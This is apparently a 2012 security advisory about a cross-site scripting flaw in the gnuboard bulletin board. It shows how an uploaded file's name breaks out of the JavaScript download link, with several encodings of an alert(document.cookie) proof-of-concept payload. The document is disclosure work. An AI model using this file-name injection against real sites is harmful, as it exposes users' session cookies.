Gnuboard 4.34.20 Cross Site Scripting

`# Exploit Title: gnuboard <= 4.34.20 XSS vulnerability via arbitrary file name  
# Date: 2012-03-12  
# Author: wh1ant  
# Software Link: http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7108  
# Version: gnuboard <= 4.34.20  
# Tested on: windows 7 Ultimate K  
# Company: trinitysoft  
# Group: secuholic  
1) Vulnerability Description  
gnuboard is a widely used open source bulletin board in Korea  
gnuboard is affected by XSS vulnerability which allow an attacker to send a malicious script to an unsuspecting user.  
1) you can upload a file (e.g. a.txt) to the BBS.  
2) you can download it from the following scripts and figure out what's working on.  
### vulnerable code #########################################################################################################################  
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');  
#############################################################################################################################################  
3) you can also upload a file with name of XSS code. The following is the example.  
- ');alert(document.cookie);//  
- %27);alert(document.cookie);%2f%2f  
- %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f  
### vulnerable code #########################################################################################################################  
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');  
#############################################################################################################################################  
4) The example file works by pulling in the Javascript and running it as part of the Javascript.  
  
`